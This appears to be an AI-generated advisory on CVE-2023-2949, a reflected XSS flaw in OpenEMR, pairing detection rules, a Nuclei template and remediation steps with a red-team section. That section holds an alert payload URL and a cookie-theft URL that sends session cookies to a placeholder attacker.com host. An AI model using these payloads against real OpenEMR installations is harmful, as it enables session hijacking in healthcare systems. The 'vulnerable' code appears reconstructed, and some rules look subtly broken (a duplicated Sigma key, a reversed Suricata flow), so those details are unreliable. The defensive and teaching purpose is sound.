CVE-2023-2949

Executive Summary

CVE-2023-2949 is a reflected Cross-Site Scripting (XSS) vulnerability in OpenEMR versions prior to 7.0.1. The flaw exists in the /interface/forms/eye_mag/js/eye_base.php endpoint, where the providerID parameter is not properly sanitized before being reflected in the response. An unauthenticated attacker can craft a malicious URL containing JavaScript payloads, and if a victim clicks on it, the script executes in the context of their browser session. This can lead to session hijacking, credential theft, or unauthorized actions within the OpenEMR application. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), but the EPSS score of 0.71755 indicates a high probability of exploitation in the wild. A public proof-of-concept (PoC) and a Nuclei template are available, making this a high-priority issue for remediation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. Despite a Medium CVSS score, the availability of a public PoC, a Nuclei template, and a high EPSS percentile (98.7%) elevate the real-world risk. Unauthenticated exploitation and the potential for session hijacking make this a critical finding for healthcare environments.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the eye_base.php script. The providerID parameter is taken directly from the HTTP GET request and echoed back into the HTML response without proper encoding or sanitization. An attacker can inject arbitrary HTML and JavaScript by providing a payload such as:

< img src=x onerror=alert(document.domain); >

When the victim's browser renders the response, the onerror event triggers, executing the injected JavaScript. This allows the attacker to perform actions like stealing session cookies, redirecting to phishing pages, or performing actions on behalf of the victim within the OpenEMR application.

The vulnerable code path is in /interface/forms/eye_mag/js/eye_base.php. The fix in version 7.0.1 likely involves proper output encoding (e.g., htmlspecialchars() or equivalent) for the providerID parameter.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.0.1):

<?php
// eye_base.php (vulnerable)
$providerID = $_GET['providerID'];
echo "<script>var providerID = '$providerID';</script>";
?>

Patched Code (7.0.1+):

<?php
// eye_base.php (patched)
$providerID = htmlspecialchars($_GET['providerID'], ENT_QUOTES, 'UTF-8');
echo "<script>var providerID = '$providerID';</script>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable OpenEMR instance (version < 7.0.1).
• A web browser or tool like curl to send crafted requests.

Exploitation Steps:

1. Craft the malicious URL:

   http://target.com/interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(document.domain);%3E
   

   The %3C, %20, %3E are URL-encoded characters for <, space, and >.

2. Deliver the link to a victim (e.g., via email, social engineering, or embedding in a page).

3. When the victim clicks the link, the JavaScript executes in their browser. For a proof-of-concept, alert(document.domain) will pop up the domain name.

Advanced Payload Example (Session Cookie Theft):

http://target.com/interface/forms/eye_mag/js/eye_base.php?providerID=%3Cscript%3Edocument.location=%27http://attacker.com/steal.php?cookie=%27%2Bdocument.cookie%3C/script%3E

No Exploit-DB code was provided.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /interface/forms/eye_mag/js/eye_base.php with suspicious providerID parameters containing <script>, <img, or other HTML/JavaScript constructs.
• Use the YARA, Sigma, and Suricata rules provided in the Detection Engineering section.

Hunting:

• Search for providerID= in HTTP GET requests to the vulnerable endpoint.
• Look for encoded characters like %3C, %3E, %22 in the providerID parameter.

Containment:

• Immediately apply the patch by upgrading to OpenEMR 7.0.1 or later.
• If patching is delayed, implement a Web Application Firewall (WAF) rule to block requests containing <script or onerror in the providerID parameter.
• Restrict access to the vulnerable endpoint via network segmentation or authentication if possible.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /interface/forms/eye_mag/js/eye_base.php with a providerID parameter containing HTML tags or JavaScript.
  • Example URL pattern: */interface/forms/eye_mag/js/eye_base.php?providerID=*<*>*
• File IOCs:
  • Presence of unexpected JavaScript in web server logs.
• Behavioral IOCs:
  • Unusual outbound connections from the OpenEMR server to external IPs (potential data exfiltration).
  • Unexpected changes to user sessions or accounts.

Detection Engineering

YARA Rule

rule CVE_2023_2949_XSS_OpenEMR {
    meta:
        description = "Detects reflected XSS attempts against OpenEMR CVE-2023-2949"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-2949"
        severity = "high"
    strings:
        $xss_payload = /providerID=.*(<|%3C).*(script|img|onerror|onload|alert|prompt|confirm).*(>|%3E)/i
        $vuln_path = "/interface/forms/eye_mag/js/eye_base.php"
    condition:
        $vuln_path and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against OpenEMR CVE-2023-2949
id: 8a7b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable OpenEMR endpoint with XSS payloads in the providerID parameter.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2949
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/interface/forms/eye_mag/js/eye_base.php'
        cs-uri-query|contains: 'providerID='
    filter:
        cs-uri-query|re: 'providerID=[^&]*<[^&]*>'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in the parameter (unlikely)
level: high
tags:
    - attack.t1190
    - cve.2023.2949

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-2949 OpenEMR Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/interface/forms/eye_mag/js/eye_base.php";
    http_uri;
    content:"providerID=";
    http_uri;
    pcre:"/providerID=[^&]*<[^&]*>/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2023-2949;
    priority:1;
)

Nuclei Template (Provided)

id: CVE-2023-2949

info:
  name: OpenEMR < 7.0.1 - Cross-site Scripting
  author: ritikchaddha,princechaddha
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.1.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the providerID parameter, potentially stealing user credentials or executing unauthorized actions in the context of other users.
  remediation: |
    Upgrade to OpenEMR version 7.0.1 or later.
  reference:
    - https://huntr.com/bounties/3842486f-38b1-4150-9f78-b81d0ae580c4
    - https://github.com/openemr/openemr/commit/af1ecf78d1342519791bda9d3079e88f7d859015
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2949
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2949
    cwe-id: CWE-79
    epss-score: 0.71755
    epss-percentile: 0.98746
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: open-emr
    product: openemr
    shodan-query:
      - http.favicon.hash:1971268439
      - http.html:"openemr"
      - http.title:"openemr"
    fofa-query:
      - app="OpenEMR"
      - body="openemr"
      - title="openemr"
      - app="openemr"
      - icon_hash=1971268439
    google-query: intitle:"openemr"
  tags: cve,cve2023,xss,openemr,open-emr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(document.domain);%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain);>", "openemr")'
        condition: and
# digest: 4a0a00473045022100b1b16e947a38628689d7f44c595539e624b2ac79b5aa74ada000ee60ccda5b730220707ab9aee7e8ddc5820296ef61d9e6c74cfbb7a291a8abc1090c23c989f048a2:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenEMR to version 7.0.1 or later. The patch is available at the official GitHub repository.
2. Apply a WAF rule to block requests containing <script, onerror, or similar XSS patterns in the providerID parameter.
3. Restrict access to the vulnerable endpoint (/interface/forms/eye_mag/js/eye_base.php) to authenticated users only, if possible.

Long-Term Measures:

• Implement a Content Security Policy (CSP) to mitigate the impact of XSS.
• Conduct regular security audits and penetration testing.
• Train developers on secure coding practices, especially input validation and output encoding.
• Monitor for similar vulnerabilities in other parts of the application.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only.

{/* [Security Hash: 23563F9AC0C69CB5177E53B0] */}